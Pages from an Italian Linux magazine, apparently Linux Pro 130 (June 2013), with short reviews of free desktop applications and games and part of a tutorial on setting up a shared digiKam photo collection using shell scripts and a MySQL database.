quando chiudete la controparte quasselclient che si occupa della mera visualizzazione grafica. Quindi potreste avere

il processo “core” avviato sul server di casa e poi utilizzarlo da remoto (magari attraverso un tunnel SSH) dal vostro portatile. in questo modo, quando spegnerete il portatile, la connessione al server verrà mantenuta e con essa anche la lista dei canali e la registrazione di quel che avviene sugli stessi. potrete poi tornare alle vostre attività semplicemente connettendovi al processo core e leggendo i log. Secondo punto a favore di Quassel è che l’interfaccia ha un livello di personalizzazione davvero sorprendente: potrete infatti trascinare e modificare tutti i pannelli in modo da impostarne la dimensione prescelta o addirittura trasformandoli in finestre a se stanti. L’accoppiata di queste due feature (presenti singolarmente in altri client) rendono Quassel un software unico su cui tenere gli occhi puntati a partire da subito.

nonostante Gummi non sia un editor WYSiWYG è possibile aggiungere formattazione, immagini e tabelle praticamente senza conoscere LaTeX. Eccellente!

“Quassel è un client iRC che promette davvero molto bene e si distingue per originalità”

LXP130_50-54_danonperdere 51 06/06/13 14:48

Page 54: Linuxpro 130 Giugno 2013

52 Linux pro 130

Test Da non perdere

Sia che pensiate che i tablet siano solo un costoso giocattolo o la migliore invenzione

dopo la ruota, sembra proprio che queste tavolette siano qui per rimanere un bel po’. A dispetto di forma, potenza e feature, tutti i tablet hanno in comune una cosa: la tastiera virtuale. nonostante anche in questo campo le opinioni siano divergenti, serpeggia un fastidio velato dovuto in parte alla bizzarra sensazione di digitare pigiando contro un disegno su schermo, ma soprattutto per l’aumento esponenziale degli errori di testo che cresce con la velocità di scrittura. per questo e per il fatto che ormai Linux sta cominciando a essere portato su diversi dispositivi (uno su tutti Ubuntu su ASUS nexus 7)

onboardrisulterà sempre più utile avere degli ottimi programmi che offrano funzionalità di tastiera virtuale e onboard è nato per questo ruolo. potete impostarlo per rimanere nascosto e mostrarsi solo quando richiesto oppure (nell’accezione più comune) comparire ogni volta che si posiziona il cursore in un’area di testo. potrete trovare diversi stili di default, dalle variante ad alto contrasto visivo sino al “Model M” per gli appassionati vintage di tastiere iBM. onboard simula la maggior parte delle funzioni di una tastiera per pC, offrendo un layout che si avvicina più a quello di un portatile con l’aggiunta delle frecce cursore, tasti funzione, pagina su e giù e altri. Ad ogni modo il vero punto di forza del software (e dove

Tastiera virtuale si rende utile anche se non utilizzato sui tablet) sono le opzioni di accessibilità. potrete infatti abilitare degli aiuti per simulare il click del tasto destro, doppio click e tasto sinistro. per non parlare dell’aggiunta degli snippet che consentono di memorizzare una serie di template da incollare con il solo tocco di un dito. per gli utente con qualche disabilità, invece, ci sono opzioni dedicate come la possibilità di ridimensionare la tastiera partendo da un qualsiasi

∆ VERSionE 0.98.2 ∆ WEB http://launchpad.net/onboard

Ci sono programmi blasonati che non meritano l’attenzione ricevuta e poi ci sono

piccole perle che invece passano ingiustamente inosservate. Pinta sfortunatamente cade nella seconda categoria. L’idea è semplice ed è quella di colmare il terribile vuoto che affligge il panorama delle applicazioni Linux, ovvero un software che offra un po’ di funzionalità in più rispetto a Microsoft Paint ma che non sia complicato come GiMP. Anche senza essere detrattori di GiMp, è chiaro come il sole che agli utenti meno smaliziati può risultare decisamente ostico, anche nel compiere operazioni semplici come rimuovere

Pintagli occhi rossi o fare semplici composizioni. pinta è la soluzione a questo problema. per installarlo dovrete procurarvi Mono che, a sua volta, potrebbe consumarvi un bel po’ di spazio. Ad ogni modo il risultato è davvero ottimo e di semplice utilizzo: classico pannello degli strumenti sulla sinistra, gestione dei livelli sulla destra e strumenti e opzioni addizionali in alto subito sotto i menu. Sono state anche incluse una serie di funzionalità destinate alle foto, per esempio la rimozione degli occhi rossi e la gestione dei colori, ma ci sono anche diverse opzioni dedicate al disegno, come la creazione di forme geometriche o libere. nell’angolo in basso

Editor grafico

un valido rimpiazzo per la maggior parte dei piccoli compiti. Soprattutto per quelli intimoriti dall’immenso parco feature di GiMp. Certo non potrete disinstallare GiMp di punto in bianco, ma almeno per i compiti piccoli e veloci ora c’è un alternativa.

∆ VERSionE 1.4 ∆ WEB www.pinta-project.com

Pinta, nonostante il nome un po’ strano, è un ottimo editor grafico con un’interfaccia abbordabile, nulla da aggiungere

angolo, nonostante questa operazione sia risultata fastidiosamente lenta nei test. L’unica vera pecca è che onboard mostra ancora l’iconcina del logo di Windows a fianco della barra spaziatrice, mentre sarebbe stato consigliabile metterci un bel pinguino sorridente, ma fortunatamente il codice è disponibile quindi in caso vorrete sarà solo questione di darci un’occhiata e sistemare il misfatto.

a destra troverete un registro delle ultime azione compiute, in modo da procedere avanti e indietro con le modifiche se necessario. La semplicità d’uso unita alle feature offerte più che accettabili rende pinta non solo un ottimo sostituto per GiMp, ma anche

nella sezione dei temi ne troverete diversi e di svariate tipologie

LXP130_50-54_danonperdere 52 06/06/13 14:48

Page 55: Linuxpro 130 Giugno 2013

Linux pro 130 53

Da non perdere Test

Proprio in questo momento centinaia, se non migliaia, di persone stanno lavorando per

migliorare il codice del kernel Linux. Certo, questo non è per nulla strano ma provate a immaginare questa immane collaborazione. Figuratevi ogni singolo sviluppatore che lavora sulla propria parte di codice, saltellando tra i vari punti del listato, magari a migliaia di chilometri dal resto del team con cui lavora. Man mano che aggiungerete collaboratori ed elementi le cose si fanno sempre più complesse. Gource è nato proprio per rendere tangibile questo processo di visualizzazione. L’idea

è prendere un repository e generarne un’animazione 3D che ne racconti la storia. Al momento i tipi di repository supportati sono Git, SVN, Mercurial e Bazaar, ma se usate CVS esistono dei plug-in di terze parti che ne integrano le funzionalità. Se volete un esempio concreto create una cartella temporanea e una volta dentro scrivete git clone https://github.com/ bagder/curl.gitA questo punto spostatevi nella directory appena scaricata e avviate Gource. inizialmente potreste vedere un messaggio che cita “reading Log”. Questa fase è piuttosto lunga e non andrebbe interrotta, infatti

∆ VERSionE 0.98.2 ∆ WEB http://code.google.com/p/gource

GourceVisualizzatore di sistema di revisione del codice

Ormai sono diversi anni che l’evoluzione dei cellulari in sofisticati dispositivi portatili

ha abituato le folle a concetti che fino a poco tempo fa erano considerati alieni. Tra le migliorie apportate dall’onnipresenza degli schermi tattili si possono sicuramente annoverare le “scorciatoie gestuali”, ovvero quei simboli tracciati sullo schermo che scatenano una serie di azioni arbitrarie precedentemente definite. un po’ come usare delle “rune” della mitologia celtico-nordica per lanciare della magie... il tutto senza dover essere una divinità! purtroppo in ambito desktop la quasi totale assenza di dispositivi tattili non ha reso l’uso dei “gesti” (dall’inglese

“gestures”) particolarmente famoso in ambito desktop. Easystroke si propone di colmare questa lacuna, offrendo una semplice soluzione a chi vuole definire una serie di simboli personalizzati da associare ad altrettante azioni. una volta installato il programma basterà avviare il software per accedere alla semplice interfaccia grafica. Da qui potrete iniziare a creare le vostre scorciatoie. Cliccate sul pulsante Add Action, scegliete un nome e successivamente un tipo nella colonna Type dal menu a tendina. Le scelte disponibili sono avviare un comando, incollare un testo nella finestra in uso oppure altre opzioni più complesse. nella sezione Preferences potrete scegliere quale tasto del mouse

∆ VERSionE 0.6.0 ∆ WEB http://bit.ly/a7L3zc

EasystrokeRiconoscimento gesture

usare per generare i simboli. È vivamente sconsigliato utilizzare il tasto sinistro dato che viene usato praticamente per tutte le azioni comuni nella stragrande maggioranza dei Window Manager e non vorrete perdere funzionalità basilari come “cliccare” o attivare per sbaglio le vostre scorciatoie. Scegliete quindi il tasto centrale (2) o quello destro (3). Tornando alla lista delle scorciatoie cliccate due volte su quella appena definita sotto la colonna Stroke, tenete

premuto il tasto prescelto e disegnate una forma. ora ogni volta che ripeterete quel simbolo verrà eseguita l’azione associata. Ad esempio, nello screenshot potete vedere come una C rovesciata sia stata associata all’avvio del terminale “lxterminal”. Definendo una lista ottimale di scorciatoie potrete salvare un bel po’ di tempo senza intasare il vostro desktop di icone e senza mai staccare la mano dal mouse.

Gource in quel momento sta camminando lungo l’alberatura del repository. Ad esempio, quello appena scaricato di CurL risale addirittura al 1999. Se tutto ha funzionato a dovere

dovremmo cominciare a vedere una serie di iconcine a forma di omino (gli sviluppatori) che corrono avanti e indietro contribuendo ad aggiungere elementi sullo schermo.

Easystroke visualizza i simboli mentre li state disegnando

non avete mai visto il codice sorgente in questo modo, vero? Provate Gource, non ve ne pentirete

LXP130_50-54_danonperdere 53 06/06/13 14:48

Page 56: Linuxpro 130 Giugno 2013

54 Linux pro 130

Test Da non perdere

Anche i giocatori più giovani saranno a conoscenza di almeno 100 giochi platform

(anche detti “di piattaforme”) che hanno esplorato questo genere in ogni suo aspetto. Esistono però alcune perle che si distinguono dalle soluzioni più comuni (tipo Mario, Sonic) sperimentando in ambiti che nessun altro ha valutato; tra questi capolavori si possono annoverare Braid o Scribblenatus. Anche questo JVGS, a modo suo, rientra in questa categoria di giochi pionieri che portano l’esperienza videoludica del giocatore laddove nessun altro si era mai avventurato. L’autore descrive JVGS come un “gioco platform minimalista” in cui “un poeta si ritrova solo, in uno strano mondo pieno di pericoli. inizia così un viaggio lungo

il flusso interrotto di pensieri che sono rimasti sospesi”. nonostante una definizione del genere possa suggerire un gioco tranquillo e noioso, potreste essere sorpresi dalla dose di tempismo e sangue freddo necessaria per finire alcuni livelli. inoltre ad accompagnare la storia inusuale c’è anche un design degno delle migliori strisce di xKCD. Tra l’altro non dovrete nemmeno impazzire ad apprendere i controlli dato che usando i tasti cursore per muovervi e seguendo il breve tutorial iniziale, avrete le poche nozioni necessarie a gustarvi il gioco appieno. oltre a evitare i nemici che vi si pareranno davanti, troverete diversi potenziamenti quali granate, coltelli, orologi rallenta tempo e molto altro. Certo, le meccaniche di gioco

JVGSGioco di piattaforme 2D

∆ VERSionE 0.5 ∆ WEB http://jvgs.sourceforge.net

Nonostante Blobby Volley 2 nasca e rimanga un gioco senza troppi fronzoli,

se avete qualche amico con cui passare degli squisiti momenti di delirio sportivo videoludico, valutate di fare una partita a questo simpaticissimo giochino. L’idea è di offrire un gioco basato sulle meccaniche della pallavolo, rendendolo più veloce, reattivo e in generale simpatico; in questo i programmatori sono riusciti in pieno! Blobby Volley 2 è infatti tremendamente rapido, se non rimanete concentrati il vostro avversario guadagnerà punti uno dietro l’altro, distanziandovi

in brevissimo tempo. i controlli sono precisi e la fisica della palla convince parecchio, dato che sia l’angolazione che i tempi di caduta sono sempre quelli attesi. La possibilità di giocare in due su una tastiera (un giocatore con WASD e l’altro con i tasti cursore) oppure online tramite il blobby-server arricchiscono ulteriormente questo gioco, tanto da renderlo un ottimo candidato ai vostri momenti di delirio in compagnia. Al pari di Jump’n’Bump le situazioni e il ritmo di gioco sono davvero eccelsi e le risate garantite. non fatevi trarre in inganno dalla grafica semplice, non sempre la giocabilità

Blobby Volley 2Gioco di pallavolo

∆ VERSionE 1.0rc3 ∆ WEB http://bit.ly/ajoTaJ

La dose di malinconia e poesia di questo gioco sublima nella lapide con inciso “Everything is changing”

sono semplici, ma la curiosità di capire dove vuole andare a parare l’autore vi terrà incollati allo schermo per diversi livelli. in tutto dovrete affrontare 10 livelli e non sempre la soluzione sarà immediata, tanto che a volte bisogna un po’ affidarsi all’intuito perché mancano

sufficienti elementi per capire con chiarezza come procedere. insomma, a parte quest’ultimo piccolo difetto, verificherete con i vostri occhi quanto questo giochino sia piacevole per poi tornare a chiedervi se davvero è stato già esplorato tutto il mondo dei platform.

va di pari passo con la complessità grafica e questo

mese ne avete toccato con mano due esempi. LXP

Blobby Volley è nato più di un decennio fa ma continua a essere, anche oggi, sempre un gioco attuale

LXP130_50-54_danonperdere 54 06/06/13 14:48

Page 57: Linuxpro 130 Giugno 2013

LINUX PRO 130 55

TutorialI nostri esperti offrono ogni mese i loro consigli di programmazione e di amministrazione del sistema

TUTORIALGestione immaginiLavorare sulle foto con digiKam pag. 56 ScreencastingRegistrate tutorial video con Kazam pag. 60 NetworkingUn server (DNS) con dnsmasq pag. 64 MarkdownCome convertire file di testo in Word da riga di comando grazie a Markdown pag. 66 Raspberry PiCreate la vostra distro su misura pag. 70

SysadminUdev è un gestore di dispositivi che vi aiuterà a esplorare i meandri del computer pag. 74

ACCADEMIA DEL CODICEConcetti di baseVale la pena di spendere un po’ di tempo per trovare un ambiente di sviluppo con cui crescere per poi guadagnarne dopo pag. 78

RubyIl primo di tre tutorial introduttivi a Ruby con cui inizierete a conoscere il linguaggio e scriverete la vostra prima applicazione pag. 80

PythonÈ arrivato il momento di far comunicare i vostri script in modo efficiente pag. 84

AndroidScoprite con Linux Pro come usare il Bluetooth per far comunicare il vostro telefono con gli altri dispositivi e creare un servizio di messaggistica pag. 88

SicurezzaUsare Secure Shell per collegare due sistemi tra loro in modo sicuro pag. 76

LA VOSTRA GUIDA DI RIFERIMENTOEsiste sempre qualcosa di nuovo da imparare in campo informatico, soprattutto in un mondo dinamico come quello di Linux e dell’Open Source. Ogni numero di Linux Pro presenta una corposa sezione dedicata a tutorial realizzati da esperti in moltissimi settori: programmazione, sicurezza,amministrazione di sistema,networking. Troverete informazioni utili sia che siate dei veterani di Linux sia degli utenti alle prime armi. Studieremo con cura anche le applicazioni più diffuse sia in ambito lavorativo che desktop. Il nostro scopo è quello di fornire in ogni numeroil giusto mix di argomenti, ma se avete suggerimenti su temi particolari che vorreste vedere trattati, scriveteci via e-mail all’indirizzo [email protected]

Si presenta spesso la necessità di riportare le linee di codice di un programma. Per favorirne la lettura evidenzieremo le singole linee in questo modo: begin mniWordWrap.Checked := notendQuando una riga di codice supera la lunghezza della colonna la riporteremo su più righe utilizzando la notazione seguente:printf(“Vi preghiamo di inserireuna password.“);

COMERAPPRESENTIAMOLE LINEE DI CODICE

LXP130_55_introTutorial 55 06/06/13 17:01

Page 58: Linuxpro 130 Giugno 2013

56 Linux pro 130

Gestione immagini Condividete i vostri album di famiglia tra dispositivi diversi

per il numero molto alto di combinazioni, chiaramente non possiamo descrivere in tutti i dettagli ogni possibile insieme di comandi, a prescindere dalle sole quattro pagine che abbiamo. Tuttavia, vi forniremo abbastanza dettagli da farvi trovare facilmente la documentazione giusta per la vostra configurazione. Facciamo l’avvocato del diavolo per un momento: voi e la vostra “squadra” siete sicuri di aver bisogno di digiKam per gestire la vostra raccolta comune di foto digitali? il motivo della domanda è che digiKam non è progettato in partenza per i gruppi di lavoro e probabilmente rimarrà così. Questo è il motivo per cui abbiamo detto che il metodo che proponiamo non è perfetto. È relativamente facile da implementare e usare, e permette alle persone di usare insieme tutte le funzioni di digiKam, a un livello che dovrebbe essere più che sufficiente per molti gruppi. Allo stesso tempo, non può essere trasparente per l’utente finale e se davvero avete bisogno delle funzionalità mancanti allora dovrete lavorarci su. Quindi, se voi e il vostro gruppo volete solo condividere in famiglia e probabilmente classificare le immagini o gestire velocemente molte immagini, digiKam può non essere la miglior soluzione. Sarà sufficiente per questo lavoro un qualsiasi programma per la gestione di gallerie di foto in rete senza l’utilizzo di configurazioni speciali.

Introduzione alla DAM nella fotografiaDigital Assets Management (gestione del patrimonio digitale), o DAM, è un termine generico per le regole e le buone prassi da seguire per tenere sotto controllo complesse raccolte di file digitali. Quando si tratta di fotografie, la DAM tratta cose come i formati e i nomi. Dovete scegliere il giusto formato(i) con cui le fotografie elaborate dovranno essere conservate. nella maggior parte dei casi, pnG o JpEG sono formati adatti. La denominazione è più complessa. Qualsiasi raccolta

Grazie alle macchine digitali e agli smartphone, al giorno d’oggi non è insolito, anche per una piccola famiglia senza un esagerato interesse

alla fotografia, ritrovarsi con centinaia di nuove immagini ogni mese. Tenere migliaia di foto disseminate in diversi dispositivi o buttate senza criterio in una o due cartelle è quasi come non averle affatto. Le raccolte di fotografie sono utilizzabili e godibili solo quando sono sempre facili da ricercare come vogliamo, arricchite di commenti e prive di scatti imperfetti o molto simili. Arrivarci, comunque, può consumare un’enorme quantità di tempo, a meno che il carico di lavoro non sia condiviso. Questo articolo vi guida alla creazione di un ambiente collaborativo basato su digiKam e Linux, che è utile principalmente in uno specifico scenario: una famiglia o un gruppo di persone che vogliono costruire, catalogare, modificare e mantenere una grande raccolta comune di fotografie digitali sui loro computer locali o sulla LAn. il metodo proposto non è perfetto, ma ha i seguenti vantaggi:∆ ogni utente può anche tenere una raccolta di digiKam privata;∆ tutta la potenza di digiKam è disponibile per tutti gli utenti;∆ il lavoro è automatizzato il più possibile;∆ tutti gli utenti possono condividere il lavoro restante che si può fare con digiKam nelle raccolte condivise;∆ ogni utente può lavorare da ogni computer in casa o, con la giusta configurazione e larghezza di banda, da postazioni remote. La procedura da seguire per configurare e usare digiKam in questo modo è solo una tessera del mosaico, e non è nemmeno la prima, o la più importante. Le altre sono: capire alcuni concetti generali, progettare attentamente e soprattutto l’impegno, da parte di tutti quelli coinvolti, di provare tutti i passaggi necessari. Serve un po’ di pazienza: ci vuole più tempo a descrivere il quadro generale che l’implementazione, ma se non lo facessimo in quest’ordine, quest’ultima potrebbe non avere senso. Da un punto di vista tecnico ci sono solo due requisiti fondamentali. il primo è che tutti gli utenti usino la stessa versione di digiKam. Questo può essere un limite, simile, in pratica, a chiedere che tutti gli utenti usino la stessa distribuzione di Gnu/Linux e l’aggiornino nello stesso momento. non c’è però proprio modo di evitarlo, poiché le diverse versioni di digiKam possono avere problemi a trattare automaticamente gli stessi metadati. L’altro requisito è che almeno un utente deve conoscere Linux abbastanza bene da fare un po’ di amministrazione di sistema da riga di comando: sebbene non ci sia codice da scrivere, è necessario lavorare fuori da digiKam, digitando comandi al prompt e scrivendo semplici script dalla shell. Questo è obbligatorio perché alcuni di questi comandi o le loro opzioni dipendono dalla distribuzione Linux usata, dalla sua configurazione e dalla struttura della rete domestica. La raccolta di famiglia e il tema di digiKam usato

fAcILe

digiKam: lavorare insiemeNell’era della fotografia digitale Linux Pro vi spiega un modo per condividere il più possibile con amici e parenti la gestione di una grande raccolta di foto fatte di bit

LXP130_56-59_digikam 56 06/06/13 12:25

Page 59: Linuxpro 130 Giugno 2013

Linux pro 130 57

Gestione immagini Tutorial

condivisa rimarrà, o diventerà, un disordine confuso completamente inutile, a meno che tutti i suoi autori si impegnino a usare la stessa nomenclatura. Dovete tutti, per esempio, seguire un unico sistema per i nomi di fi le, coerente per ogni vostro album e per le vostre fotografi e, indipendentemente dall’utente, dalla macchina fotografi ca, dallo smartphone o dallo scanner da cui vengono le immagini. La maggior parte dei fotografi usa la data, cioè nomi come AAAAMMGG_vacanze_campeggio per gli album e una stringa di testo con data, ora, minuto, secondo, eccetera per la singola immagine: questo è il solo modo di garantire che tutte le immagini rimangano nell’ordine corretto, anche se unite album o aggiungete fi le, mentre le ricerche per argomento rimangono possibili tramite le etichette. Ah, sì, le etichette! nomi giusti e gerarchia delle etichette possono fare grande differenza nell’uso di una raccolta. prendetevi un po’ di tempo per defi nire quanto più potete il vostro albero delle etichette e convenzioni, o almeno per immaginare come sfruttarlo. Evitate i sinonimi il più possibile. Come dovrebbero etichettare le immagini di eventi sul Software Libero i membri del vostro gruppo? “Software libero”, “SW libero”, “FoSS” o altro ancora? Qualsiasi risposta è quella giusta, posto che sia la stessa per tutti. naturalmente, è impossibile indicare una struttura defi nitiva di etichette per tutte le immagini che voi e i vostri collaboratori potrete scattare per il resto delle vostre vite. Eppure, più DAM fate insieme sulla carta prima di iniziare, meno lavoro dovrete fare in futuro. il manuale di digiKam ha un’ottima sezione sulla DAM. Leggetela attentamente prima di applicare quello che imparerete qui.

Panoramica dell’architetturaCi sono parecchie funzioni (e limiti) di digiKam che hanno un impatto diretto sul suo uso collaborativo. La prima è la nozione di raccolte e album. ogni utente di digiKam può avere e usare parecchie raccolte di immagini indipendenti. ogni raccolta può stare su una diversa unità di archiviazione, cartella locale, chiavetta uSB esterna o partizione remota. Dentro una raccolta, le immagini sono organizzate in album e sottoalbum che sono semplici cartelle. per funzionare digiKam ha bisogno di due database: uno è per i dati di digiKam, che possono essere generali o specifi ci dell’immagine. il secondo database archivia le miniature delle immagini. in modo predefi nito, questi database sono in formato SQLite, cioè in due fi le chiamati digikam4.db e thumbnails-digikam.db. in alternativa, digiKam può usare due database relazionali MySQL con gli stessi nomi. i database SQLite di default sono locali, non accessibili da altri computer o utenti. i database MySQL, invece, possono esistere su computer remoti. Qualunque formato sia usato, un utente di digiKam può avere tutte le raccolte che vuole, ma solo una coppia di database. La posizione di una raccolta può essere una potenziale fonte di problemi quando digiKam è usato da diversi computer. Le raccolte sono chiamate con l’identifi catore (uuiD) dell’unità fi sica che le ospita o, quando quello non è disponibile (pensate al rAiD, alle cartelle remote e simili), solo con il percorso della loro cartella. perciò, in generale, la posizione della raccolta salvata in un database di digiKam può essere valida solo quando digiKam è in esecuzione su di uno specifi co computer

e/o utente. poi ci sono i metadati (vedete il riquadro). digiKam può tenere i metadati non solo nel suo database interno, ma nelle immagini stesse o in fi le separati, cosiddetti fi le sidecar. Archiviare i metadati solo nel database fa girare digiKam molto più velocemente. Archiviarli nei fi le li mantiene disponibili anche se un giorno abbandonate digiKam, o il suo database è danneggiato da errori software o guasti dell’hardware. Sfortunatamente, per una combinazione di mancanza di risorse, scelte progettuali e bachi da risolvere, non c’è un modo unico e automatico di mantenere tutte le etichette sempre sincronizzate in questi tre posti (persino per singoli utenti). digiKam ha anche molte di quelle che, per semplicità, chiameremo funzioni senza database. Queste includono i fi ltri e le operazioni di elaborazione manuale sulle immagini, dalla rimozione degli occhi rossi al ritaglio, rotazione, effetti visivi assortiti e così via. il limite di un database per utente, come il problema di sincronizzazione dei metadati, sono due limiti molto importanti all’uso collaborativo di digiKam. La maggior parte dei trucchi trovati in rete sull’uso di “digiKam multipli” si applicano a un diverso caso d’uso: un solo utente, che accede a tutte e sole le sue raccolte di digiKam da diversi computer, in diversi momenti. in teoria, potremmo “barare” in molti modi, per esempio puntando due istanze di digiKam allo stesso database MySQL, con le stesse credenziali di accesso. Questo non aiuterebbe in realtà le persone che vogliono anche raccolte private ed è un percorso rischioso, potenzialmente senza via d’uscita. digiKam non è progettato per occuparsi di accessi simultanei, probabilmente con diverse confi gurazioni utente, alla stessa serie di immagini, database e metadati. non ci sono progetti per farlo accadere e nessuna garanzia che qualsiasi trucco per “barare” a questo livello potrebbe ancora funzionare nella prossima versione. perciò, proponiamo un modo diverso, non ideale, ma più sicuro.

criteri della procedurai criteri sui quali la vostra procedura collaborativa basata su digiKam dovrebbe essere basata sono:1 lavorare il più possibile fuori da digiKam2 lasciare che il computer lavori automaticamente3 tenere le operazioni non di database (selezione, rimozione occhi rossi, modifi ca) quanto più possibile separate dalle altre (etichettatura, valutazione, commento) œ

Metadatinel contesto di questa guida, e menzionando solo quello che ha un impatto diretto su questo argomento, i metadati relativi all’immagine sono tutte le informazioni che digiKam può capire e archiviare su un’immagine digitale. Alcuni di questi metadati sono scritti dalle macchine digitali direttamente nei fi le d’immagine, come la marcatura temporale della creazione o la velocità di otturazione. Altri sono aggiunti in seguito, attraverso gestori di foto come digiKam o utilità a riga di comando come exiftool. Alcuni metadati non cambiano mai (si pensi all’esposizione o alle coordinate

geografi che). Altri, come la valutazione, i commenti o il titolo, possono essere modifi cati più volte. Tutti i metadati archiviati nelle immagini restano accessibili indipendentemente da digiKam. Ma sono anche accessibili a tutti quelli che ottengono una copia di quelle immagini, a meno che non li cancelliate prima della pubblicazione. Tutto quello che archiviate solo nel database, invece, è privato... fi no a quando qualcuno non ruba la vostra password o il portatile. digiKam vi fa defi nire quali metadati devono essere scritti nelle immagini: usate questa funzione responsabilmente.

LXP130_56-59_digikam 57 06/06/13 12:25

Page 60: Linuxpro 130 Giugno 2013

58 Linux pro 130

Tutorial Gestione immagini

4 fare le operazioni non di database per prime. L’unica eccezione possibile è il geotagging, che può essere fatto automaticamente all’inizio, fuori da digiKam (vedete sotto). La ragione che sta dietro ai due ultimi criteri vi sarà chiara tra un momento. i primi due, invece, dovrebbero essere ovvi: automatizzare quanto più possibile con script della shell, specialmente alcuni noiosi compiti iniziali, risparmia un sacco di tempo, riduce gli errori e aggira qualsiasi limite che digiKam possa avere. Ecco una possibile implementazione. potete adattarla ai vostri bisogni, purché rispettiate i criteri di cui sopra e ogni membro della squadra si impegni a lavorare in questo modo sulla raccolta condivisa.1 operazioni senza database e senza digiKam: 1, scaricare le immagini dalla macchina fotografica in una cartella temporanea; 2, farne una copia in un’altra cartella; 3, rinominarle; 4, geo-etichettarle, se i dati necessari sono disponibili; 5, convertire le immagini in un formato senza perdita2 operazioni manuali con database e digiKam: 1, fare selezione, prima vi liberate delle brutte immagini e meglio è; 2, elaborazione immagini, rimozione occhi rossi, effetti visivi, correzione del contrasto e così via; 3, spostare le nuove immagini nella loro posizione finale all’interno della raccolta condivisa di digiKam; 4, elaborazione in riferimento al database di digiKam, rinominare gli album, quindi etichettare, valutare e commentare le immagini.Tutte le operazioni nella fase 1 possono e dovrebbero essere eseguite automaticamente, lanciando uno script della shell, che tutti gli utenti della squadra possano eseguire. i primi due passi potrebbero apparire così: CAMErA_nAME=$1 uSErnAME=‘chisonoio’ find /media/$CAMErA_nAME -type f -iname “*jpg” -exec cp -p {} $TEMpFoLDEr/$uSErnAME/ cp -r -p $TEMpFoLDEr/$uSErnAME/* $BACKup_FoLDEr/$uSErnAMEi passi 1.3 e 1.4 possono essere automatizzati con semplici script: ne abbiamo parlato in passato, trovate articoli e file all’urL http://bit.ly/133AZDK. il passo 1.5 è un compito per il comando convert del pacchetto Imagemagick, disponibile su tutte le distribuzioni Gnu/Linux. Le ultime tre fasi dovrebbero essere autoesplicative. Diversi membri della squadra possono affrontare la fase 2 simultaneamente, usando digiKam o qualsiasi altro programma di elaborazione foto vogliano. non c’è problema, primo perché ciascuno scaricherebbe le sue immagini in una posizione diversa ($TeMPfOLDeR/$USeRNAMe/), e secondo perché non è coinvolto nessun metadato (eccetto le geo-

etichette, che non dovrebbero cambiare). Le fasi 3 e 4 devono essere fatte con digiKam!A questo punto, penserete sicuramente “Qual è il punto? Dov’è il trucco che fa funzionare questo lavoro per gruppi di utenti?”. Bene, il trucco consiste nel creare un utente Linux ad-hoc, solo per le fasi 3 e 4. un utente che serve solo come proprietario della raccolta condivisa, cioè il solo utente che può modificare con digiKam gli album, le immagini e soprattutto il database di quella raccolta. in altre parole, ogni membro della squadra può eseguire le prime due fasi in qualsiasi momento, con il suo account di Linux, anche se tutti gli altri stanno facendo lo stesso. per fare le ultime due fasi, invece, lui o lei dovrebbe eseguire uno script che lanci digiKam come utente proprietario o termini con un messaggio di avviso se tale istanza di digiKam è già in esecuzione. il proprietario avrebbe solo la raccolta condivisa, i cui album (e, per estensione, tutti i metadati scritti nelle rispettive immagini) sarebbero ancora leggibili dagli altri utenti. in questo modo, non ci sarebbe sovrapposizione, ma ogni utente potrebbe avere tutte le raccolte private che vuole ed essere ancora in grado di sfogliare e ricercare la raccolta condivisa nella propria istanza personale di digiKam.

Impostazione e implementazioneVediamo come impostare tutto il baraccone con due account utente di Linux. nelle spiegazioni qui sotto, prova_1 è l’utente proprietario, quello che dovete creare da zero, esclusivamente allo scopo di possedere la raccolta condivisa. prova_2 sta per un normale utente (già esistente) che deve avere accesso in lettura alla stessa raccolta. La cartella temporanea deve essere leggibile e scrivibile da prova_1 e tutti gli utenti. Gli utenti normali possono archiviare le proprie raccolte personali di digiKam dove vogliono. La cartella della raccolta condivisa (/home/z/immagini nei nostri esempi) è speciale per due ragioni. primo, solo prova_1 deve avere il permesso di modificare i file e le cartelle all’interno di questa, ma gli account degli utenti devono essere in grado di vederli. Questo evita la modifica o cancellazione involontaria di immagini quando le persone sfogliano la raccolta dai loro account personali. per metterlo in atto, potete o far appartenere prova_1 solo a un gruppo speciale che non ha altri membri, o armeggiare con la configurazione predefinita dei permessi dei file. per imparare come fare, controllate le pagine man dei comandi umask e adduser e anche la documentazione della gestione utenti e di SELinux della vostra distribuzione.Se state lavorando in una LAn, dovete anche impostarla in modo che sia la cartella temporanea sia l’unità che ospita la raccolta condivisa siano accessibili a tutti gli utenti, preferibilmente con lo stesso percorso assoluto. impostare una condivisione nFS è il modo più semplice di farlo. Se, per qualsiasi ragione, il percorso non può essere lo stesso per tutti, dovreste modificare di conseguenza lo script per la fase 1. poi, il database. Se volete usare MySQL per la raccolta condivisa, queste sono le istruzioni per creare il database corrispondente (come root): [root~]# mysqladmin create shared_digikam [root~]# mysqladmin create thumbnails_shared_digikam [root~]# mysql -u root

chiunque usi la modalità proprietario in digiKam (notate il tema grafico!) può valutare, commentare ed etichettare tutte le immagini nella raccolta di famiglia

LXP130_56-59_digikam 58 06/06/13 12:25

Page 61: Linuxpro 130 Giugno 2013

Linux pro 130 59

Gestione immagini Tutorial

mysql> use mysql; mysql> CrEATE uSEr ‘prova_1’@‘localhost’ iDEnTiFiED BY ‘digikam’; mysql> grant all privileges on shared_digikam.* to ‘prova_1’@‘localhost’; mysql> grant all privileges on thumbnails_shared_digikam.* to ‘prova_1’@‘localhost’; mysql> exit;La parte finale dell’impostazione del proprietario è la sua configurazione di digiKam. immediatamente dopo la creazione dell’utente prova_1, aprite un terminale, passate all’identità prova_1 e lanciate digiKam: utente~> su - prova_1 password: [prova_1~> digikam&Essendo questa la prima volta che digiKam si avvia per quell’utente, partirà la sua procedura guidata. Ditegli di archiviare le immagini in /home/z/immagini e di aggiungere informazioni ai file. poi, inserite i corretti parametri del database e create una raccolta di famiglia locale in /home/z/immagini. A quel punto, la procedura guidata farà partire digiKam, che caricherà qualsiasi album già presente nella raccolta di famiglia. prima di fare qualsiasi altra cosa, vi consigliamo di andare in Impostazioni ➠ Temi e impostare un tema grafico che nessun altro utente di digiKam ha scelto. Questo non è obbligatorio, ma è utile per ricordare agli utenti che stanno eseguendo digiKam proprietario, non il loro normale. A questo punto, potete dire ai membri della squadra che possono aggiungere la nuova raccolta di famiglia alla loro configurazione di digiKam. Essi dovranno selezionare Album ➠ Aggiorna i dati aggiuntivi dalle immagini tutte le volte che vogliono sfogliare quella collezione dalle loro istanze personali di digiKam, ma non c’è modo di evitarlo se vogliono vedere le etichette e i commenti aggiunti in modalità proprietario. 